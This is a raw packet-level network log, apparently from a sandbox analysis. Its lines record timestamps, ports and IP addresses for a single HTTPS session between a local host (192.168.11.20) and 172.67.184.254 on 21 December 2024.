Dec 21, 2024 19:24:49.393151045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.393160105 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.393321991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.394875050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.394891024 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.395071030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.395081997 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.395140886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.396744013 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.396761894 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.396872044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.396881104 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.397053957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.398653030 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.398669004 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.398837090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.398837090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.398885965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.398988962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.398996115 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.400656939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.400675058 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.400810957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.400810957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.400821924 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.400856018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.400907993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.400907993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.400954008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.400962114 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.401097059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.403012037 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.403028011 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.403188944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.403281927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.403294086 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.403522015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.405253887 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.405271053 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.405533075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.405544996 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.405683041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.407565117 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.407581091 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.407751083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.407751083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.407763004 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.407808065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.407851934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.407984018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.409620047 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.409636021 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.409790039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.409790039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.409842014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.409842014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.409847975 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.410001993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.412302017 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.412319899 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.412720919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.412720919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.412720919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.412734032 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.412873983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.414362907 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.414380074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.414541960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.414592028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.414598942 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.414743900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.416093111 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.416110992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.416239977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.416239977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.416287899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.416296959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.416337013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.416337013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.416462898 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.417418957 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.417435884 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.417632103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.417644024 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.417752028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.417814016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.418953896 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.418970108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.419152021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.419152975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.419162035 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.419224024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.419348955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.421055079 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.421071053 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.421274900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.421329975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.421329975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.421341896 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.421596050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.423713923 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.423726082 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.423938990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.424040079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.424051046 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.424245119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.425816059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.425826073 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.425977945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.425977945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.425990105 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.426095963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.426170111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.427848101 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.427858114 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.428086042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.428086042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.428098917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.428179979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.428292990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.429219961 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.429230928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.429420948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.429420948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.429434061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.429434061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.429440022 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.429485083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.429582119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.431011915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.431021929 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.431245089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.431257010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.431308985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.431386948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.432797909 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.432807922 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.432984114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.432992935 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.433031082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.433151960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.434288025 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.434298038 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.434468031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.434468031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.434520006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.434526920 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.434621096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.434726000 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.434739113 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.435080051 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.435188055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435188055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435188055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435197115 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.435235023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435235023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435235023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435235023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435376883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435480118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435584068 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.435595036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.435717106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435765028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435842991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435842991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.435847998 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.435905933 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.436028957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.436038971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.436074018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.436074018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.436193943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.436193943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.436295033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.436327934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.436428070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.436434984 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.436475992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.436525106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.436527967 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.436577082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.436713934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.436810017 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.436893940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.436937094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.437026024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.437030077 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.437119961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.437268972 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.437282085 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.437428951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.437428951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.437436104 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.437495947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.437495947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.437495947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.437602043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.438013077 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.438014984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.438023090 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.438143969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.438143969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.438191891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.438277960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.438277960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.438292027 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.438364983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.439146042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.439253092 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.439264059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.439409018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.439409018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.439481020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.439486980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.439502001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.439652920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.440279961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.441045046 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.441056013 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.441241980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.441248894 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.441345930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.441425085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.442799091 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.442811966 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.442984104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.442984104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.442996979 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.443079948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.443079948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.443180084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.443798065 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.443806887 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.443973064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.443973064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.444041967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.444041967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.444048882 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.444116116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.445452929 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.445465088 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.445621967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.445621967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.445631027 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.445714951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.445741892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.447356939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.447366953 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.447551012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.447623968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.447632074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.447673082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.448863029 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.448874950 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.449016094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.449016094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.449026108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.449060917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.449110031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.449110031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.449208021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.450094938 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.450104952 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.450261116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.450383902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.450383902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.450396061 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.450403929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.451431990 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.451443911 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.451601028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.451601028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.451611042 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.451621056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.451731920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.453007936 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.453017950 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.453146935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.453146935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.453735113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.453735113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.453746080 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.453919888 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.453949928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.454057932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.454067945 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.454286098 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.455375910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.455387115 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.455528975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.455604076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.455611944 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.455651999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.456476927 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.456487894 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.456630945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.456630945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.456640959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.456708908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.456789017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.457964897 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.457974911 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.458117008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.458117008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.458162069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.458328962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.458328962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.458328962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.458339930 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.459132910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.459145069 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.459348917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.459348917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.459358931 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.459371090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.459449053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.460164070 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.460172892 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.460351944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.460351944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.460362911 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.460397005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.460450888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.461126089 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.461137056 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.461339951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.461339951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.461348057 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.461437941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.462764978 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.462774992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.462986946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.462986946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.463000059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.463009119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.463155985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.463929892 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.463939905 CET	443	49766	172.67.184.254	192.168.11.20
